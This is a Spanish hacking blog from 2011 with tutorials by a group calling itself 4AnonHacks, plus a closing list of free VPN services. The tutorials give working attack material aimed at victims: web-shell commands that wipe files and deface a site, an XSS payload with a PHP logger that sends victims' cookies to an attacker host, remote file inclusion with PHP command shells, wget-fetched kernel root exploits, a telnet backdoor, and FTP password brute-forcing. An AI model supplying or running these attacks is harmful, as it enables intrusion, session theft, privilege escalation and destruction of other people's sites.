lunes, 28 de noviembre de 2011

Shell con comandos PHP

Comandos comúnmente más usados:

CD            -  Comando que nos permite saltar de un directorio a otro
LS            - Comando que nos permitira obtener un listado de los archivos del directorio
CAT - Sirve para visualizar la estructura y codigo de un archivo
WGET - Comando para transferir (subir) archivos
RM - Sirve para eliminar archivos
MKDIR - Con esto creamos un directorio
TOUCH - Creamos un archivo


Ahora unos ejemplos para utilizar los comandos:

head -1000 /etc/userdomains <-- Listado de las webs alojadas en el server 
rm -Rf * && mkdir public_html && <-- Borrado de archivos y logs

touch index.html
echo "Hacked">index.html 
cp index.html public_html {Ejemplo de crear un archivo index.html para nuestro defaced}


Espero que les sirva de algo.



Tutorial echo por:

[Team] 4AnonHacks - SkarY 

Ataque XSS

Hola gente de 4AnonHacks les traigo una guia acerca de como crear o hacer un ataque mediante XSS



Comencemos con una pequeña introducción sobre está técnica. Pongamos un ejemplo de una
web que utilice cookies y tenga un buscador interno.



Cookies
Una cookie es un almacén de información que se guarda en el ordenador del usuario y en cualquier momento la pagina puede pedir la información, que contiene la cookie, al ordenador del usuario...Ahora que sabemos que es una cookie lo que vamos a hacer es ver el nombre de la página donde se encuentra el buscador, en nuestro caso es buscador.php

Después vamos a ver si el buscador es vulnerable. Para ello podemos poner en el buscador,
por ejemplo:



***************************


<script>alert()</script>


***************************




Si salta una alarma al pulsar el botón, significa que ese buscador es vulnerable.

Suponiendo que sea vulnerable, el siguiente paso es ver el nombre del formulario y del botón.
Para esto, tenemos que ver el código fuente de dicha página y buscar algo como:

******************************************************

<input type="text" name="palabra"> Este sería el Formulario<input type="submit" name="buscar" value="Buscar">  Este sería el Botón

******************************************************

Ahora ya sabemos que el formulario se llama palabra y que el botón se llama buscar.

Para almacenar las cookies, tenemos dos opciones

1º Almacenarlas en una base de datos (MySql).2º Almacenarlas en un archivo de texto (Recomendable).

A continuación vamos a crear una pagina en php, este archivo creará otro (archivo.txt)
cuando algún usuario caiga en el ataque y escribirá a continuación los siguientes
usuarios:

**********************************

<?$cookie = $_GET['cookie'];$fff = fopen("archivo.txt","a");fwrite($fff, "$cookie \n");fclose($fff);?>

**********************************


ARCHIVO.TXT
Este archivo se creará automáticamente y será en el que se almacenen las cookies, osea, que para ver los resultados tienes que entrar en este archivo.

Una vez hecho este paso solo tenemos que crear "LA URL" que será de la siguiente forma:

********************************************************************************

http://www.vulnerable.com/buscador.php?palabra=<script>window.location=
'http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>&buscar=;

********************************************************************************




Tutorial echo por:

[Team] 4AnonHacks - SkarY 

Remote File Inclusion

Hola gente de 4AnonHacks les traigo una guia acerca de como crackear un Servidor FTP


La famosa técnica RFI. Esta vulnerabilidad permite incluir archivos remotos de otros
servidores, la mayoría de estas vulnerabilidades se encuentran en códigos como:




********************


<?include"$page";?>


********************




Este seria explotado de esta manera:


********************************


vuln.php?page=http//[atacante]


********************************








Pero ¿A qué pagina enviamos este archivo? Lo mas normal es enviarlo a uno para poder
ejecutar comandos, el archivo podría tener cualquiera de estos:


****************************************************

<?
exec($_GET[cmd],$salida);
foreach($salida as $line) { echo "$line<br>"; }
?>
exec(); 

*******

<?system($_GET[cmd],$salida);foreach($salida as $line) { echo "$line<br>"; }?>system(); 

*******

<?passthru($_GET[cmd],$salida);foreach($salida as $line) { echo "$line<br>"; }?>passthru();

*****************************************************


Bien ya tenemos el archivo con este código le ponemos una extensión .gif .jpg cual sea
mientras no sea php sino lo ejecutaría en nuestro server. Lo subimos al server y lo
tenemos todo preparado, imaginemos que el url es http://atacante.com/reset.gif, en reset.gif
debe haber uno de esos 3 códigos de arriba, cada uno usa una variante distinta ya que
algunos servidores puede que alguna la tenga bloqueada para que no hagan tonterías.

Ahora hacemos un url así... 

---> http://victima.com/vuln.php?page=http://atacante.com/reset.gif?cmd=id;


Podemos ver como estamos incluyendo nuestro archivo, inyectamos un código php y haciendo
que lo ejecute.


Entonces haríamos ..reset.gif?cmd=[aquí el comando]
Allí va el comando a ejecutar, como una Shell


¿Qué podemos hacer con esto?
Pues muchas cosas, como por ejemplo comandos como "cat" para ver archivos como los de
configuración en texto plano, y así obtener información también podemos hacer cat en
los archivos de otros usuarios, por ejemplo:




***************************************************


 "cd/home/fulanito/public_html;cat config.php"


O para conseguir una lista de archivos:


 "cd/home/fulanito/public_html;ls"


***************************************************





Pues aun no esta lo mejor porque aun así sino tenemos permisos podemos obtenerlos por
medio de xploits. A continuación se explicará como utilizarlos.


EXPLOIT w00t


Podemos rootear la maquina con un xploit que aprovecha un bug en el kernel 2.4 el
exploit se llama w00t.



 1º Descargaremos w00t.
 2º Iremos a la carpeta /tmp hay podemos ejecutar exploits desde nobody (cd/tmp)
 3º Subiremos el w00t al server por medio de wget para esto subí el archivo w00t a tu
server y ejecutamos lo siguiente dentro la carpeta tmp:

****************************






"wget http://atacante/w00t"


****************************




Esto recogerá el archivo w00t de tu server y lo pasara a la carpeta en la que estés (/tmp)


4º Lo que haremos ahora será dar permisos chmod 777 a w00t para poder ejecutarlo
(chmod -c 777 w00t)
5º Ahora lo ejecutaremos (./w00t)6
6º Ahora para saber si funciono escribiremos "id" y nos saldrá nuestro id, nos deberá dar
otro que no sea el de nobody con este no somos root pero tenemos bastantes permisos.




   EXPLOIT r0nin




También podemos ejecutar un backdoor en el server para poder entrar con una shell aunque
sea como nobody pero nos puede ser muy útil.


Este xploit se llama r0nin como en la explicación anterior haremos lo mismo:

1º Descargaremos el xploit r0nin
2º Lo subiremos a la carpeta /tmp y le daremos permisos chmod 777 (explicado anteriormente)
3º Hay le ejecutaremos (./r0nin)
4º Si funciona bien veremos algo como: PsychoPhobia Backdoor is starting...OK, pid = xxxx,
(en la xxxx saldrá unos números que es el pid).
5º Bien ahora el backdoor esta ejecutado para entrar entraremos por telnet en el puerto 1666.
También podemos usar el PuTTy para esto. Aquí encontramos una Shell como nobody o como lo
hayamos ejecutado.


Tutorial echo por:

[Team] 4AnonHacks - SkarY 

Cracking FTP

Hola gente de 4AnonHacks les traigo una guia acerca de como crackear un Servidor FTP


Para crackear un FTP (File Transfer Protocol) necesitaremos algunas herramientas, que
son las siguientes:



* Brutus
* Ms-Dos


Este método puede resultar lento, pero es muy eficaz, puede tardar varias horas, incluso
días, en conseguir la contraseña del administrador, así que es lento, pero seguro. Lo
primero que vamos a hacer es abrir nuestro Ms-dos vamos a emplear 2 simples comandos,
el primero: 


1º Hacemos un Ping al server victima.




***************************


C:\ ping www.webdelavictica.com   ~  (con esto logramos obtener el IP del server)


*************************** 



2º Ahora abrimos el Brutus y en la parte donde dice FTP, colocamos el Ip que ovtuvimos
haciendo Ping al server.
3º Verificamos si el server esta activo iniciando sesión de la siguiente manera:
***************************

ftp\user:guest ftp\pass:anonymous

***************************




Aquí podemos obtener 2 respuestas, puede ser que nos deje entrar como invitados, o nos
diga que no esta permitido el login anónimo, de cualquiera de las 2 formas ya sabemos
que el server esta activo.


   4º Ahora vamos a configurar el Brutus de la siguiente manera:




**********************************************************************


En el TARGET colocamos:    ftp:victima.com
En el TYPE colocamos:  FTP
En el PORT colocamos:  21
Connections:          34
TimeOut:          10
En el USERID pones:  victima
En el PASSFILE pones:  Aquí colocamos un crackeador de pass


**********************************************************************


 5º Después de configurado el Brutus, procedemos a presionar START y esperar a queencuentre la pass. Recuerda que pueda tardarse bastante tiempo.


Tutorial echo por:

[Team] 4AnonHacks - SkarY 

domingo, 20 de noviembre de 2011

Top 5 Free VPN Services

El uso de un Free VPN es la mejor idea de si su respuesta es "Sí"para cualquiera de las siguientes preguntas.


¿Tiene problemas en la apertura de ciertos sitios web como LinkedIn y Twitter en el trabajo?¿Su escuela bloqueado sitios de redes sociales como Facebook y Myspace?Lo que necesitas para trabajar de forma anónima en línea?

Pues aqui les dejo la solución con estos 5 VPN Free!




1. OpenVPN - cliente VPN gratuito



OpenVPN.net es un SSL / TLS VPN basada, que proporcionaalta seguridad y privacidad. La mayor diferencia entre PPTP VPNy OpenVPN es lo que necesita instalar el software cliente para utilizar OpenVPN OpenVPN servicio, y OpenVPN NO trabaje endispositivos móviles como iPhone, iPad, Windows Mobile yAndroid. Pero OpenVPN funciona en Windows, Mac y Linux




2. PacketiX.NET – Free VPN client

packetix-logo-vpn
PacketiX.NET Japón es un servicio de VPN. En realidad, es un servicio de alta calidad, pero tienen servicio de PacketiX.NET prueba en línea, así que es de uso gratuito. El servicio es rápido y fiable y es fácil de usar así. Sólo tienes que descargar el administrador de conexiones VPN, instalar y conectar! Se trabaja en 




3. UltraVPN – an OpenVPN client

ultravpn-logo
UltraVPN es un cliente de VPN francés que oculta su relación de los oídosno deseados y permite el uso de aplicaciones bloqueadas.También se basa en el servicio OpenVPN. El tráfico es cuota es ilimitado. Ancho de banda es de hasta 500 Kb / s dependiendo de las condiciones de la red.



4. Hotspot Shield – The most popular free VPN client

hotspot-shield
Hotspot Shield es, posiblemente, el cliente VPN gratuito más popular del mundo.Se hizo olas cuando Hulu se puso en marcha, ya que permite a los usuarios ver Hulu, incluso cuando se ha bloqueado. Ahora, tienen EE.UU. y Reino Unido los servicios basados ​​en VPN quepuede usar para protegerse de los fisgones WiFi, robos de identidad y censuras. La mejor parte es, Hotspot Shieldproporciona ancho de banda ilimitado y funciona tanto en PC y Mac.




5. CyberGhost – Free VPN service

cyberghost-vpn
CyberGhost es un servicio gratuito de VPN de Alemania, que le ayuda a usteda través de una ruta IP alemán. El servicio gratuito está limitado a10 GB de tráfico mensual, que es más que suficiente para navegar por páginas web, chat y correo electrónico. El servicio de pago también es asequible.Actualización: El servicio gratuito se limita a 1 GB por mes.